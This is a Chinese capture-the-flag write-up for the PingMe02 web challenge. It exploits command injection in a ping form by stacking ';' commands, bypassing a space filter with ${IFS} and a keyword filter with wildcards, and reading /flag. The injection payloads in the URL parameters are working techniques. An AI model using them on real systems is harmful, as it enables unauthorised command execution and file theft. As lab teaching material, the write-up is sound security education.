经典ctf ping题目详解 青少年CTF-WEB-PingMe02

题目环境:

根据题目名称可知

这是一道CTF-WEB方向常考的知识点:ping地址

随便ping一个地址

查看接受的数据包
?ip=0.0.0.0

有回显数据,尝试列出目录文件

堆叠命令使用';'作为命令之间的连接符,当上一个命令完成后,继续执行下一个命令

使用堆叠命令

列出此目录下的文件
?ip=0.0.0.0;ls

ls是Linux系统里面的列出目录文件的命令

索性ls没有被过滤

查看隐藏文件
?ip=0.0.0.0;ls -a

space空格被过滤了

使用IFS绕过空格

IFS是Linux里面的环境变量,是其内部字段分隔符

可通过${IFS}绕过空格

$IFS$1-n(n>0的正整数)也可绕过空格

?ip=0.0.0.0;ls${IFS}-a

成功绕多空格

这里猜测没在根目录下,所以才没发现flag

查看当前路径
?ip=0.0.0.0;pwd

pwd是Linux系统里面查看当前目录/路径的命令

/var/www/html

可知现在是在html目录下

去看'/'根目录下是否有flag的存在

查看根目录下的文件
?ip=0.0.0.0;ls${IFS}/

发现根目录下存在flag文件

查看根目录下flag文件的内容
?ip=0.0.0.0;cat${IFS}/flag

cat是Linux系统里面最常见的查看文件内容的命令

这里可以使用其它查看文件内容的命令
less、more、nl等等

使用less查看flag内容
?ip=0.0.0.0;less${IFS}/flag

flag被过滤

可使用f*和f???进行绕过(注:f后边有几个字符就用几个?进行代替)

代表f开头的文件

因为f开头的文件只有flag这一个文件,所以查的就是flag

?ip=0.0.0.0;less${IFS}/f*

?ip=0.0.0.0;less${IFS}/f???

使用more查看flag内容
?ip=0.0.0.0;more${IFS}/f*

?ip=0.0.0.0;more${IFS}/f???

使用nl查看flag内容
?ip=0.0.0.0;nl${IFS}/f*

?ip=0.0.0.0;nl${IFS}/f???

得到flag:
qsnctf{3c6173ea-c3e2-4a49-858b-e9897e69cee3}

当然Linux系统查看文件内容的命令还有很多,这里就举着三个例子了

如果想效率更更高,我们还可以自己生成Linux常见列出目录文件和查看文件等命令和常用字符以及关键字的字典,并使用BurpSuite进行爆破查看那个命令和字符以及关键字的过滤情况

相关推荐
人间打气筒(Ada)42 分钟前
MySQL主从架构
服务器·数据库·mysql
落笔画忧愁e2 小时前
FastGPT快速将消息发送至飞书
服务器·数据库·飞书
小冷爱学习!2 小时前
华为动态路由-OSPF-完全末梢区域
服务器·网络·华为
Σίσυφος19002 小时前
halcon 条形码、二维码识别、opencv识别
前端·数据库
学代码的小前端2 小时前
0基础学前端-----CSS DAY13
前端·css
技术小齐2 小时前
网络运维学习笔记 016网工初级(HCIA-Datacom与CCNA-EI)PPP点对点协议和PPPoE以太网上的点对点协议(此处只讲华为)
运维·网络·学习
ITPUB-微风2 小时前
Service Mesh在爱奇艺的落地实践:架构、运维与扩展
运维·架构·service_mesh
竹言笙熙3 小时前
代码审计初探
学习·web安全
打不了嗝 ᥬ᭄3 小时前
Linux的权限
linux
落幕3 小时前
C语言-进程
linux·运维·服务器